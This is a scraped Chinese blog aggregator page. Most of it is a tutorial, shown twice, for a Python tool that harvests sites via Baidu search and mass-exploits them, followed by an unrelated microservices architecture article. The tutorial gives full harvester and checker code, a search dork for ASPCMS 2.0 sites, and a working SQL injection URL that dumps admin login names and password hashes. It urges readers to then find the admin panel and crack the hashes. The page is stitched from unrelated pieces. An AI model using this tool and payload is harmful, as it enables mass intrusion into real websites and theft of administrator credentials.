
网站内容采集器
Python大黑阔—url采集+exp验证,带你批量测试
网站优化 • 优采云 发表了文章 • 0 个评论 • 196 次浏览 • 2022-09-16 05:05
大家好!我是每天为大家分享好文的柠檬!与你一起成长~
有需要体系化黑客渗透视频教程可看文末哦
一.前言
最近几天在整理从各处收集来的各种工具包,大大小小的塞满了十几个G的硬盘,无意间发现了一个好几年前的0day。
心血来潮就拿去试了一下,没想到真的还可以用,不过那些站点都已经老的不像样了,个个年久失修,手工测了几个发现,利用率还挺可观,于是就想配合url采集器写一个批量exp的脚本。
于是就有了今天这一文,结尾附上一枚表哥论坛的邀请码一不小心买多了。先到先得哦。
二.开始
环境,及使用模块:
Python3
Requests
Beautifulsuop
Hashlib
老规矩先明确目标
需要编写一个url采集器,收集我们的目标网址,
需要将我们的exp结合在其中。
先看一下exp 的格式吧,大致是这样的:
exp:xxx/xxx/xxx/xxx
百度关键字:xxxxxx
利用方式在网站后加上exp,直接爆出管理账号密码,
像这样:
PS:后面都用这个代替我们的代码中
再放个效果图
没错就是这样。直接出账号密码哈哈哈。
好了我们正式开始写程序。
url采集模块:
首先我们要编写一个基于百度搜索的url采集器。我们先来分析一下百度的搜索方式,
我们打开百度,输入搜索关键字 这里用芒果代替。
可以看到wd参数后跟着我们的关键字,我们点击一下第二页看下页码是哪个参数在控制。
好的我们和前面url对比一下会发现pn参数变成了10,同理我们开启第三页第四页,发现页码的规律是从0开始每一页加10.这里我们修改pn参数为90看下是不是会到第十页。
可以看到真的变成第十页了,证明我们的想法是正确的。我们取出网址如下
芒果&pn=0
这里pn参数后面的东西我们可以不要,这样就精简很多。
我们开始写代码。我们先需要一个main函数打开我们的百度网页,我们并利用for循环控制页码变量,实现打开每一页的内容。
先实现打开一页网站,代码如下
import requests<br />from bs4 import BeautifulSoup as bs #这里吧模块命名为了bs,方面我们调用。<br />def main():<br /> url='https://www.baidu.com/s?wd=芒果&pn=0'#定义url<br /> r=requests.get(url=url)#请求目标网址<br /> soup=bs(r.content,'lxml')#利用bs解析网址<br /> print soup<br /><br />if __name__ == '__main__':<br /> main()#调用函数main
我们运行一下发现返回的页面是这样的,并没有我们想要的内容。
这是为什么,原因就是因为百度是做了反爬的,但是不用担心,我们只要加入headers参数,一起请求就可以了。修改后代码如下:
def main():<br /> url='https://www.baidu.com/s?wd=芒果&pn=0'#定义url<br /> headers={'User-Agent':'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:60.0) Gecko/20100101 Firefox/60.0'}#这里百度是加了防爬机制的,需要加上user_agent验证一下否则就会返回错误<br /> r=requests.get(url=url,headers=headers)#请求目标网址<br /> soup=bs(r.content,'lxml')#利用bs解析网址<br /> print soup
这样在运行,就可以看到成功的返回了网页内容。
好的,我们再加上我们的循环,让他可以遍历每一个网页。一个简单的爬虫就写好了,不过什么内容也没爬,先附上代码。
import requests<br />from bs4 import BeautifulSoup as bs #这里吧模块命名为了bs,方面我们调用。<br />def main():<br /> for i in range(0,750,10):#遍历页数,每次增加10<br /> url='https://www.baidu.com/s?wd=芒果&pn=%s'%(str(i))#定义url<br /> headers={'User-Agent':'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:60.0) Gecko/20100101 Firefox/60.0'}#这里百度是加了防爬机制的,需要加上user_agent验证一下否则就会返回错误<br /> r=requests.get(url=url,headers=headers)#请求目标网址<br /> soup=bs(r.content,'lxml')#利用bs解析网址<br /> print soup<br />if __name__ == '__main__':<br /> main()#调用函数main
我们继续分析网页,取出每一个网址。右键审查元素,查看在源代码中的位置。
可以看到,我们的要取的数据,在一个名字为a的标签中,我们用bs取出这个标签所有内容。
并用循环去取出“href”属性中的网址,main函数代码如下。
def main():<br /> for i in range(0,10,10):<br /> url='https://www.baidu.com/s?wd=芒果&pn=%s'%(str(i))<br /> headers={'User-Agent':'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:60.0) Gecko/20100101 Firefox/60.0'}<br /> r=requests.get(url=url,headers=headers)<br /> soup=bs(r.content,'lxml')<br /> urls=soup.find_all(name='a',attrs={'data-click':re.compile(('.')),'class':None})#利用bs取出我们想要的内容,re模块是为了让我们取出这个标签的所有内容。<br /> for url in urls:<br /> print url['href']#取出href中的链接内容
这里解释一下为什么有class:none这个语句,如果我们不加这一句,我们会发现我们同时也取到了百度快照的地址。
在快照的地址中,class属性是有值的,但是我们真正的链接中,没有class属性,这样我们就不会取到快照的链接了。
运行一下,成功返回我们要的链接
我们下一步就是验证这些链接是否可用,因为有的网站虽然还可以搜索到,但是已经打不开了。
这里利用request模块以此请求我们的链接,并查看返回的状态码是不是200,如果为两百则说明,网站是正常可以打开的。
在for循环中加上如下两行代码,运行。
r_get_url=requests.get(url=url['href'],headers=headers,timeout=4)#请求抓取的链接,并设置超时时间为4秒。<br />print r_get_url.status_code
可以看到成功反返回了200,。接下来我们就要吧可以成功访问的网址的地址打印出来,并且只要网站的主页网址。
我们分析一个网址
发现这里都是由“/”分割的,我们可以吧url用“/”分割,并取出我们要向的网址。
运行程序后。会发现返回这样的网址,他们有一部分是带着目录的。
我们用/分割url为列表之后,列表中的第一个为网站所使用协议,第三个则为我们要取的网址首页。代码如下
def main():<br /> for i in range(0,10,10):<br /> url='https://www.baidu.com/s?wd=芒果&pn=%s'%(str(i))<br /> headers={'User-Agent':'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:60.0) Gecko/20100101 Firefox/60.0'}<br /> r=requests.get(url=url,headers=headers)<br /> soup=bs(r.content,'lxml')<br /> urls=soup.find_all(name='a',attrs={'data-click':re.compile(('.')),'class':None})#利用bs取出我们想要的内容,re模块是为了让我们取出这个标签的所有内容。<br /> for url in urls:<br /> r_get_url=requests.get(url=url['href'],headers=headers,timeout=4)#请求抓取的链接,并设置超时时间为4秒。<br /> if r_get_url.status_code==200:#判断状态码是否为200<br /> url_para= r_get_url.url#获取状态码为200的链接<br /><br /> url_index_tmp=url_para.split('/')#以“/”分割url<br /> url_index=url_index_tmp[0]+'//'+url_index_tmp[2]#将分割后的网址重新拼凑成标准的格式。<br /> print url_index
运行后,成功取出我们要取的内容。
好的到这里我们最主要的功能就实现了,下面我们进入我们激动人心的时候,加入exp,批量拿站。
三.exp模板
如何实现这个功能呢,原理就是,在我们爬取的链接后加入我们的exp,拼接成一个完整的地址,并取出这个网址并保存在一个txt文本中,供我们验证。
现在我们的代码是这样的
# -*- coding: UTF-8 -*-<br />import requests<br />import re<br />from bs4 import BeautifulSoup as bs<br />def main():<br /> for i in range(0,10,10):<br /> expp=("/xxx/xxx/xxx/xx/xxxx/xxx")<br /> url='https://www.baidu.com/s?wd=xxxxxxxxx&pn=%s'%(str(i))<br /> headers={'User-Agent':'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:60.0) Gecko/20100101 Firefox/60.0'}<br /> r=requests.get(url=url,headers=headers)<br /> soup=bs(r.content,'lxml')<br /> urls=soup.find_all(name='a',attrs={'data-click':re.compile(('.')),'class':None})<br /> for url in urls:<br /> r_get_url=requests.get(url=url['href'],headers=headers,timeout=4)<br /> if r_get_url.status_code==200:<br /> url_para= r_get_url.url<br /> url_index_tmp=url_para.split('/')<br /> url_index=url_index_tmp[0]+'//'+url_index_tmp[2]<br /> with open('cs.txt') as f:<br /> if url_index not in f.read():#这里是一个去重的判断,判断网址是否已经在文本中,如果不存在则打开txt并写入我们拼接的exp链接。<br /> print url_index<br /> f2=open("cs.txt",'a+')<br /> f2.write(url_index+expp+'\n')<br /> f2.close()<br /><br />if __name__ == '__main__':<br /> f2=open('cs.txt','w')<br /> f2.close()<br /> main()
这里我把exp用xxx代替了,你们自行替换一下。放在最后了。
运行一下我们的程序,在根目录下,我们可以找到一个cs.txt的文本文档,打开之后是这样的。
打码有一点点严重。不过不影响,小问题,大家理解就好了,其实到这里就结束了,我们可以手工去验证,一条一条的去粘贴访问,查看是否有我们要的内容
But,我懒啊,一条一条的去验证,何年何月了。
这里我们在新建一个py文件,用来验证我们上一步抓取的链接,这样我们就把两个模块分开了,你们可以只用第一个url采集的功能。
我们的思路是这样的,打开我们刚才采集的链接,并查找网页上是否有特定内容,如果有,则讲次链接保存在一个文件中,就是我们验证可以成功利用的链接。
我们先看一下利用成功的页面是什么样子的。
利用失败的页面
我们发现利用成功的页面中有管理员密码的hash,这里我们利用hashlib模块判断页面中是否有MD5,如果有则打印出来,并将MD5取出来和链接一起保存再文本中。
我们先分析一下网站源码,方便我们取出内容
可以看到网站非常简单,我们要取的内容分别在不同的属性值一个为class:line1,一个为class:line2.我们只要用bs模块取出这两个标签中的内容就可以了。
代码如下
# -*- coding: UTF-8 -*-<br />from bs4 import BeautifulSoup as bs<br />import requests<br />import time<br />import hashlib<br />def expp():<br /> f = open("cs.txt","r")#打开我们刚刚收集的文本文档<br /> url=f.readlines()#逐行取出我们的链接<br /> for i in url:#将取出的链接放入循环中<br /> try:#加入异常处理,让报错直接忽略,不影响程序运行<br /> r=requests.get(i,timeout=5)#请求网址<br /> if r.status_code == 200:#判断网址是否可以正常打开,可以去掉这一个,我们刚刚验证了<br /> soup=bs(r.text,"lxml")#用bp解析网站<br /> if hashlib.md5:#判断网址中是否有MD5,如果有继续运行<br /> mb1=soup.find_all(name="div",attrs={"class":"line1"})[0].text#获取line1数据<br /> mb2=soup.find_all(name="div",attrs={"class":"line2"})[0].text#获取line2数据<br /> f2=open('cs2.txt','a+')#打开我们的文本<br /> f2.write(i+"\n"+mb1+"\n")#将我们验证好的链接,还有数据保存在文本中<br /> f2.close()<br /> print (mb1)<br /> print (mb2)<br /> except:<br /><br /> pass<br /> f.close()<br />expp()
运行一下:
成功,我们看一下我们的文件。
完美,然后我们就可以去找后台然后解密啦,你们懂得。
exp:
百度关键字:有限公司--Powered by ASPCMS 2.0<br />exp:/plug/comment/commentList.asp?id=0%20unmasterion%20semasterlect%20top%201%20UserID,GroupID,LoginName,Password,now%28%29,null,1%20%20frmasterom%20{prefix}user
四.总结
源码链接:
密码:578p
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二.开始
环境,及使用模块:
Python3
Requests
Beautifulsuop
Hashlib
老规矩先明确目标
需要编写一个url采集器,收集我们的目标网址,
需要将我们的exp结合在其中。
先看一下exp 的格式吧,大致是这样的:
exp:xxx/xxx/xxx/xxx
百度关键字:xxxxxx
利用方式在网站后加上exp,直接爆出管理账号密码,
像这样:
PS:后面都用这个代替我们的代码中
再放个效果图
没错就是这样。直接出账号密码哈哈哈。
好了我们正式开始写程序。
url采集模块:
首先我们要编写一个基于百度搜索的url采集器。我们先来分析一下百度的搜索方式,
我们打开百度,输入搜索关键字 这里用芒果代替。
可以看到wd参数后跟着我们的关键字,我们点击一下第二页看下页码是哪个参数在控制。
好的我们和前面url对比一下会发现pn参数变成了10,同理我们开启第三页第四页,发现页码的规律是从0开始每一页加10.这里我们修改pn参数为90看下是不是会到第十页。
可以看到真的变成第十页了,证明我们的想法是正确的。我们取出网址如下
芒果&pn=0
这里pn参数后面的东西我们可以不要,这样就精简很多。
我们开始写代码。我们先需要一个main函数打开我们的百度网页,我们并利用for循环控制页码变量,实现打开每一页的内容。

先实现打开一页网站,代码如下
import requests<br />from bs4 import BeautifulSoup as bs #这里吧模块命名为了bs,方面我们调用。<br />def main():<br /> url='https://www.baidu.com/s?wd=芒果&pn=0'#定义url<br /> r=requests.get(url=url)#请求目标网址<br /> soup=bs(r.content,'lxml')#利用bs解析网址<br /> print soup<br /><br />if __name__ == '__main__':<br /> main()#调用函数main
我们运行一下发现返回的页面是这样的,并没有我们想要的内容。
这是为什么,原因就是因为百度是做了反爬的,但是不用担心,我们只要加入headers参数,一起请求就可以了。修改后代码如下:
def main():<br /> url='https://www.baidu.com/s?wd=芒果&pn=0'#定义url<br /> headers={'User-Agent':'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:60.0) Gecko/20100101 Firefox/60.0'}#这里百度是加了防爬机制的,需要加上user_agent验证一下否则就会返回错误<br /> r=requests.get(url=url,headers=headers)#请求目标网址<br /> soup=bs(r.content,'lxml')#利用bs解析网址<br /> print soup
这样在运行,就可以看到成功的返回了网页内容。
好的,我们再加上我们的循环,让他可以遍历每一个网页。一个简单的爬虫就写好了,不过什么内容也没爬,先附上代码。
import requests<br />from bs4 import BeautifulSoup as bs #这里吧模块命名为了bs,方面我们调用。<br />def main():<br /> for i in range(0,750,10):#遍历页数,每次增加10<br /> url='https://www.baidu.com/s?wd=芒果&pn=%s'%(str(i))#定义url<br /> headers={'User-Agent':'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:60.0) Gecko/20100101 Firefox/60.0'}#这里百度是加了防爬机制的,需要加上user_agent验证一下否则就会返回错误<br /> r=requests.get(url=url,headers=headers)#请求目标网址<br /> soup=bs(r.content,'lxml')#利用bs解析网址<br /> print soup<br />if __name__ == '__main__':<br /> main()#调用函数main
我们继续分析网页,取出每一个网址。右键审查元素,查看在源代码中的位置。
可以看到,我们的要取的数据,在一个名字为a的标签中,我们用bs取出这个标签所有内容。
并用循环去取出“href”属性中的网址,main函数代码如下。
def main():<br /> for i in range(0,10,10):<br /> url='https://www.baidu.com/s?wd=芒果&pn=%s'%(str(i))<br /> headers={'User-Agent':'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:60.0) Gecko/20100101 Firefox/60.0'}<br /> r=requests.get(url=url,headers=headers)<br /> soup=bs(r.content,'lxml')<br /> urls=soup.find_all(name='a',attrs={'data-click':re.compile(('.')),'class':None})#利用bs取出我们想要的内容,re模块是为了让我们取出这个标签的所有内容。<br /> for url in urls:<br /> print url['href']#取出href中的链接内容
这里解释一下为什么有class:none这个语句,如果我们不加这一句,我们会发现我们同时也取到了百度快照的地址。
在快照的地址中,class属性是有值的,但是我们真正的链接中,没有class属性,这样我们就不会取到快照的链接了。
运行一下,成功返回我们要的链接
我们下一步就是验证这些链接是否可用,因为有的网站虽然还可以搜索到,但是已经打不开了。
这里利用request模块以此请求我们的链接,并查看返回的状态码是不是200,如果为两百则说明,网站是正常可以打开的。
在for循环中加上如下两行代码,运行。
r_get_url=requests.get(url=url['href'],headers=headers,timeout=4)#请求抓取的链接,并设置超时时间为4秒。<br />print r_get_url.status_code
可以看到成功反返回了200,。接下来我们就要吧可以成功访问的网址的地址打印出来,并且只要网站的主页网址。
我们分析一个网址
发现这里都是由“/”分割的,我们可以吧url用“/”分割,并取出我们要向的网址。
运行程序后。会发现返回这样的网址,他们有一部分是带着目录的。
我们用/分割url为列表之后,列表中的第一个为网站所使用协议,第三个则为我们要取的网址首页。代码如下
def main():<br /> for i in range(0,10,10):<br /> url='https://www.baidu.com/s?wd=芒果&pn=%s'%(str(i))<br /> headers={'User-Agent':'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:60.0) Gecko/20100101 Firefox/60.0'}<br /> r=requests.get(url=url,headers=headers)<br /> soup=bs(r.content,'lxml')<br /> urls=soup.find_all(name='a',attrs={'data-click':re.compile(('.')),'class':None})#利用bs取出我们想要的内容,re模块是为了让我们取出这个标签的所有内容。<br /> for url in urls:<br /> r_get_url=requests.get(url=url['href'],headers=headers,timeout=4)#请求抓取的链接,并设置超时时间为4秒。<br /> if r_get_url.status_code==200:#判断状态码是否为200<br /> url_para= r_get_url.url#获取状态码为200的链接<br /><br /> url_index_tmp=url_para.split('/')#以“/”分割url<br /> url_index=url_index_tmp[0]+'//'+url_index_tmp[2]#将分割后的网址重新拼凑成标准的格式。<br /> print url_index
运行后,成功取出我们要取的内容。
好的到这里我们最主要的功能就实现了,下面我们进入我们激动人心的时候,加入exp,批量拿站。
三.exp模板
如何实现这个功能呢,原理就是,在我们爬取的链接后加入我们的exp,拼接成一个完整的地址,并取出这个网址并保存在一个txt文本中,供我们验证。
现在我们的代码是这样的
# -*- coding: UTF-8 -*-<br />import requests<br />import re<br />from bs4 import BeautifulSoup as bs<br />def main():<br /> for i in range(0,10,10):<br /> expp=("/xxx/xxx/xxx/xx/xxxx/xxx")<br /> url='https://www.baidu.com/s?wd=xxxxxxxxx&pn=%s'%(str(i))<br /> headers={'User-Agent':'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:60.0) Gecko/20100101 Firefox/60.0'}<br /> r=requests.get(url=url,headers=headers)<br /> soup=bs(r.content,'lxml')<br /> urls=soup.find_all(name='a',attrs={'data-click':re.compile(('.')),'class':None})<br /> for url in urls:<br /> r_get_url=requests.get(url=url['href'],headers=headers,timeout=4)<br /> if r_get_url.status_code==200:<br /> url_para= r_get_url.url<br /> url_index_tmp=url_para.split('/')<br /> url_index=url_index_tmp[0]+'//'+url_index_tmp[2]<br /> with open('cs.txt') as f:<br /> if url_index not in f.read():#这里是一个去重的判断,判断网址是否已经在文本中,如果不存在则打开txt并写入我们拼接的exp链接。<br /> print url_index<br /> f2=open("cs.txt",'a+')<br /> f2.write(url_index+expp+'\n')<br /> f2.close()<br /><br />if __name__ == '__main__':<br /> f2=open('cs.txt','w')<br /> f2.close()<br /> main()
这里我把exp用xxx代替了,你们自行替换一下。放在最后了。

运行一下我们的程序,在根目录下,我们可以找到一个cs.txt的文本文档,打开之后是这样的。
打码有一点点严重。不过不影响,小问题,大家理解就好了,其实到这里就结束了,我们可以手工去验证,一条一条的去粘贴访问,查看是否有我们要的内容
But,我懒啊,一条一条的去验证,何年何月了。
这里我们在新建一个py文件,用来验证我们上一步抓取的链接,这样我们就把两个模块分开了,你们可以只用第一个url采集的功能。
我们的思路是这样的,打开我们刚才采集的链接,并查找网页上是否有特定内容,如果有,则讲次链接保存在一个文件中,就是我们验证可以成功利用的链接。
我们先看一下利用成功的页面是什么样子的。
利用失败的页面
我们发现利用成功的页面中有管理员密码的hash,这里我们利用hashlib模块判断页面中是否有MD5,如果有则打印出来,并将MD5取出来和链接一起保存再文本中。
我们先分析一下网站源码,方便我们取出内容
可以看到网站非常简单,我们要取的内容分别在不同的属性值一个为class:line1,一个为class:line2.我们只要用bs模块取出这两个标签中的内容就可以了。
代码如下
# -*- coding: UTF-8 -*-<br />from bs4 import BeautifulSoup as bs<br />import requests<br />import time<br />import hashlib<br />def expp():<br /> f = open("cs.txt","r")#打开我们刚刚收集的文本文档<br /> url=f.readlines()#逐行取出我们的链接<br /> for i in url:#将取出的链接放入循环中<br /> try:#加入异常处理,让报错直接忽略,不影响程序运行<br /> r=requests.get(i,timeout=5)#请求网址<br /> if r.status_code == 200:#判断网址是否可以正常打开,可以去掉这一个,我们刚刚验证了<br /> soup=bs(r.text,"lxml")#用bp解析网站<br /> if hashlib.md5:#判断网址中是否有MD5,如果有继续运行<br /> mb1=soup.find_all(name="div",attrs={"class":"line1"})[0].text#获取line1数据<br /> mb2=soup.find_all(name="div",attrs={"class":"line2"})[0].text#获取line2数据<br /> f2=open('cs2.txt','a+')#打开我们的文本<br /> f2.write(i+"\n"+mb1+"\n")#将我们验证好的链接,还有数据保存在文本中<br /> f2.close()<br /> print (mb1)<br /> print (mb2)<br /> except:<br /><br /> pass<br /> f.close()<br />expp()
运行一下:
成功,我们看一下我们的文件。
完美,然后我们就可以去找后台然后解密啦,你们懂得。
exp:
百度关键字:有限公司--Powered by ASPCMS 2.0<br />exp:/plug/comment/commentList.asp?id=0%20unmasterion%20semasterlect%20top%201%20UserID,GroupID,LoginName,Password,now%28%29,null,1%20%20frmasterom%20{prefix}user
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18 张图,详解微服务架构
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链接:
本文将介绍微服务架构和相关的组件,介绍他们是什么以及为什么要使用微服务架构和这些组件。
本文侧重于简明地表达微服务架构的全局图景,因此不会涉及具体如何使用组件等细节。
要理解微服务,首先要先理解不是微服务的那些。通常跟微服务相对的是单体应用,即将所有功能都打包成在一个独立单元的应用程序。
从单体应用到微服务并不是一蹴而就的,这是一个逐渐演变的过程。
本文将以一个网上超市应用为例来说明这一过程。
最初的需求
几年前,小明和小皮一起创业做网上超市,小明负责程序开发,小皮负责其他事宜。当时互联网还不发达,网上超市还是蓝海。只要功能实现了就能随便赚钱。
所以他们的需求很简单,只需要一个网站挂在公网,用户能够在这个网站上浏览商品、购买商品;另外还需一个管理后台,可以管理商品、用户、以及订单数据。
我们整理一下功能清单:
管理后台
由于需求简单,小明左手右手一个慢动作,网站就做好了。
管理后台出于安全考虑,不和网站做在一起,小明右手左手慢动作重播,管理网站也做好了。
总体架构图如下:
小明挥一挥手,找了家云服务部署上去,网站就上线了。上线后好评如潮,深受各类肥宅喜爱。小明小皮美滋滋地开始躺着收钱。
随着业务发展
好景不长,没过几天,各类网上超市紧跟着拔地而起,对小明小皮造成了强烈的冲击。
在竞争的压力下,小明小皮决定开展一些营销手段:
这些活动都需要程序开发的支持,小明拉了同学小红加入团队。小红负责数据分析以及移动端相关开发,小明负责促销活动相关功能的开发。
因为开发任务比较紧迫,小明小红没有好好规划整个系统的架构,随便拍了拍脑袋,决定把促销管理和数据分析放在管理后台里,微信和移动端 APP 另外搭建。通宵了几天后,新功能和新应用基本完工。
这时架构图如下:
这一阶段存在很多不合理的地方:
尽管有着诸多问题,但也不能否认这一阶段的成果:快速地根据业务变化建设了系统。不过紧迫且繁重的任务容易使人陷入局部、短浅的思维方式,从而做出妥协式的决策。
在这种架构中,每个人都只关注在自己的一亩三分地,缺乏全局的、长远的设计。长此以往,系统建设将会越来越困难,甚至陷入不断推翻、重建的循环。
是时候做出改变了
幸好小明和小红是有追求有理想的好青年。意识到问题后,小明和小红从琐碎的业务需求中腾出了一部分精力,开始梳理整体架构,针对问题准备着手改造。
要做改造,首先你需要有足够的精力和资源。如果你的需求方(业务人员、项目经理、上司等)很强势地一心追求需求进度,以致于你无法挪出额外的精力和资源的话,那么你可能无法做任何事
在编程的世界中,最重要的便是抽象能力。微服务改造的过程实际上也是个抽象的过程。
小明和小红整理了网上超市的业务逻辑,抽象出公用的业务能力,做成几个公共服务:
各个应用后台只需从这些服务获取所需的数据,从而删去了大量冗余的代码,就剩个轻薄的控制层和前端。
这一阶段的架构如下:
这个阶段只是将服务分开了,数据库依然是共用的,所以一些烟囱式系统的缺点仍然存在:
如果一直保持共用数据库的模式,则整个架构会越来越僵化,失去了微服务架构的意义。
因此小明和小红一鼓作气,把数据库也拆分了。所有持久化层相互隔离,由各个服务自己负责。另外,为了提高系统的实时性,加入了消息队列机制。
架构如下:
完全拆分后各个服务可以采用异构的技术。比如数据分析服务可以使用数据仓库作为持久化层,以便于高效地做一些统计计算;商品服务和促销服务访问频率比较大,因此加入了缓存机制等。
还有一种抽象出公共逻辑的方法是把这些公共逻辑做成公共的框架库。这种方法可以减少服务调用的性能损耗。但是这种方法的管理成本非常高昂,很难保证所有应用版本的一致性。
数据库拆分也有一些问题和挑战:比如说跨库级联的需求,通过服务查询数据颗粒度的粗细问题等。但是这些问题可以通过合理的设计来解决。总体来说,数据库拆分是一个利大于弊的。
微服务架构还有一个技术外的好处,它使整个系统的分工更加明确,责任更加清晰,每个人专心负责为其他人提供更好的服务。
在单体应用的时代,公共的业务功能经常没有明确的归属。最后要么各做各的,每个人都重新实现了一遍;要么是随机一个人(一般是能力比较强或者比较热心的人)做到他负责的应用里面。
在后者的情况下,这个人在负责自己应用之外,还要额外负责给别人提供这些公共的功能——而这个功能本来是无人负责的,仅仅因为他能力较强/比较热心,就莫名地背锅(这种情况还被美其名曰能者多劳)。
结果最后大家都不愿意提供公共的功能。长此以往,团队里的人渐渐变得各自为政,不再关心全局的架构设计。
从这个角度上看,使用微服务架构同时也需要组织结构做相应的调整。所以说做微服务改造需要管理者的支持。
改造完成后,小明和小红分清楚各自的锅。两人十分满意,一切就像是麦克斯韦方程组一样漂亮完美。
然而……
没有银弹
春天来了,万物复苏,又到了一年一度的购物狂欢节。眼看着日订单数量蹭蹭地上涨,小皮小明小红喜笑颜开。
可惜好景不长,乐极生悲,突然嘣的一下,系统挂了。
以往单体应用,排查问题通常是看一下日志,研究错误信息和调用堆栈。而微服务架构整个应用分散成多个服务,定位故障点非常困难。
小明一个台机器一台机器地查看日志,一个服务一个服务地手工调用。经过十几分钟的查找,小明终于定位到故障点:促销服务由于接收的请求量太大而停止响应了。其他服务都直接或间接地会调用促销服务,于是也跟着宕机了。
在微服务架构中,一个服务故障可能会产生雪崩效用,导致整个系统故障。
其实在节前,小明和小红是有做过请求量评估的。按照预计,服务器资源是足以支持节日的请求量的,所以肯定是哪里出了问题。
不过形势紧急,随着每一分每一秒流逝的都是白花花的银子,因此小明也没时间排查问题,当机立断在云上新建了几台虚拟机,然后一台一台地部署新的促销服务节点。
几分钟的操作后,系统总算是勉强恢复正常了。整个故障时间内估计损失了几十万的销售额,三人的心在滴血。
事后,小明简单写了个日志分析工具(量太大了,文本编辑器几乎打不开,打开了肉眼也看不过来),统计了促销服务的访问日志,发现在故障期间,商品服务由于代码问题,在某些场景下会对促销服务发起大量请求。
这个问题并不复杂,小明手指抖一抖,修复了这个价值几十万的 Bug。
问题是解决了,但谁也无法保证不会再发生类似的其他问题。微服务架构虽然逻辑设计上看是完美的,但就像积木搭建的华丽宫殿一样,经不起风吹草动。微服务架构虽然解决了旧问题,也引入了新的问题:
小明小红痛定思痛,决心好好解决这些问题。对故障的处理一般从两方面入手,一方面尽量减少故障发生的概率,另一方面降低故障造成的影响。
监控 - 发现故障的征兆
在高并发分布式的场景下,故障经常是突然间就雪崩式爆发。所以必须建立完善的监控体系,尽可能发现故障的征兆。
微服务架构中组件繁多,各个组件所需要监控的指标不同。比如 Redis 缓存一般监控占用内存值、网络流量,数据库监控连接数、磁盘空间,业务服务监控并发数、响应延迟、错误率等。
因此如果做一个大而全的监控系统来监控各个组件是不大现实的,而且扩展性会很差。一般的做法是让各个组件提供报告自己当前状态的接口(metrics接口),这个接口输出的数据格式应该是一致的。
然后部署一个指标采集器组件,定时从这些接口获取并保持组件状态,同时提供查询服务。
最后还需要一个 UI,从指标采集器查询各项指标,绘制监控界面或者根据阈值发出告警。
大部分组件都不需要自己动手开发,网络上有开源组件。小明下载了 RedisExporter 和 MySQLExporter,这两个组件分别提供了 Redis 缓存和 MySQL 数据库的指标接口。
微服务则根据各个服务的业务逻辑实现自定义的指标接口。
然后小明采用 Prometheus 作为指标采集器,Grafana 配置监控界面和邮件告警。
这样一套微服务监控系统就搭建起来了:
定位问题 - 链路跟踪
在微服务架构下,一个用户的请求往往涉及多个内部服务调用。为了方便定位问题,需要能够记录每个用户请求时,微服务内部产生了多少服务调用,及其调用关系。这个叫做链路跟踪。
我们用一个 Istio 文档里的链路跟踪例子来看看效果:
从图中可以看到,这是一个用户访问 productpage 页面的请求。在请求过程中,productpage 服务顺序调用了 details 和 reviews 服务的接口。
而 reviews 服务在响应过程中又调用了 ratings 的接口。整个链路跟踪的记录是一棵树:
要实现链路跟踪,每次服务调用会在 HTTP 的 HEADERS 中记录至少记录四项数据:
另外,还需要调用日志收集与存储的组件,以及展示链路调用的UI组件。
以上只是一个极简的说明,关于链路跟踪的理论依据可详见 Google 的 Dapper。
了解了理论基础后,小明选用了 Dapper 的一个开源实现 Zipkin。然后手指一抖,写了个 HTTP 请求的拦截器,在每次 HTTP 请求时生成这些数据注入到 HEADERS,同时异步发送调用日志到 Zipkin 的日志收集器中。 查看全部
18 张图,详解微服务架构
链接:
本文将介绍微服务架构和相关的组件,介绍他们是什么以及为什么要使用微服务架构和这些组件。
本文侧重于简明地表达微服务架构的全局图景,因此不会涉及具体如何使用组件等细节。
要理解微服务,首先要先理解不是微服务的那些。通常跟微服务相对的是单体应用,即将所有功能都打包成在一个独立单元的应用程序。
从单体应用到微服务并不是一蹴而就的,这是一个逐渐演变的过程。
本文将以一个网上超市应用为例来说明这一过程。
最初的需求
几年前,小明和小皮一起创业做网上超市,小明负责程序开发,小皮负责其他事宜。当时互联网还不发达,网上超市还是蓝海。只要功能实现了就能随便赚钱。
所以他们的需求很简单,只需要一个网站挂在公网,用户能够在这个网站上浏览商品、购买商品;另外还需一个管理后台,可以管理商品、用户、以及订单数据。
我们整理一下功能清单:
管理后台
由于需求简单,小明左手右手一个慢动作,网站就做好了。
管理后台出于安全考虑,不和网站做在一起,小明右手左手慢动作重播,管理网站也做好了。
总体架构图如下:
小明挥一挥手,找了家云服务部署上去,网站就上线了。上线后好评如潮,深受各类肥宅喜爱。小明小皮美滋滋地开始躺着收钱。
随着业务发展
好景不长,没过几天,各类网上超市紧跟着拔地而起,对小明小皮造成了强烈的冲击。
在竞争的压力下,小明小皮决定开展一些营销手段:
这些活动都需要程序开发的支持,小明拉了同学小红加入团队。小红负责数据分析以及移动端相关开发,小明负责促销活动相关功能的开发。
因为开发任务比较紧迫,小明小红没有好好规划整个系统的架构,随便拍了拍脑袋,决定把促销管理和数据分析放在管理后台里,微信和移动端 APP 另外搭建。通宵了几天后,新功能和新应用基本完工。
这时架构图如下:
这一阶段存在很多不合理的地方:
尽管有着诸多问题,但也不能否认这一阶段的成果:快速地根据业务变化建设了系统。不过紧迫且繁重的任务容易使人陷入局部、短浅的思维方式,从而做出妥协式的决策。
在这种架构中,每个人都只关注在自己的一亩三分地,缺乏全局的、长远的设计。长此以往,系统建设将会越来越困难,甚至陷入不断推翻、重建的循环。
是时候做出改变了
幸好小明和小红是有追求有理想的好青年。意识到问题后,小明和小红从琐碎的业务需求中腾出了一部分精力,开始梳理整体架构,针对问题准备着手改造。

要做改造,首先你需要有足够的精力和资源。如果你的需求方(业务人员、项目经理、上司等)很强势地一心追求需求进度,以致于你无法挪出额外的精力和资源的话,那么你可能无法做任何事
在编程的世界中,最重要的便是抽象能力。微服务改造的过程实际上也是个抽象的过程。
小明和小红整理了网上超市的业务逻辑,抽象出公用的业务能力,做成几个公共服务:
各个应用后台只需从这些服务获取所需的数据,从而删去了大量冗余的代码,就剩个轻薄的控制层和前端。
这一阶段的架构如下:
这个阶段只是将服务分开了,数据库依然是共用的,所以一些烟囱式系统的缺点仍然存在:
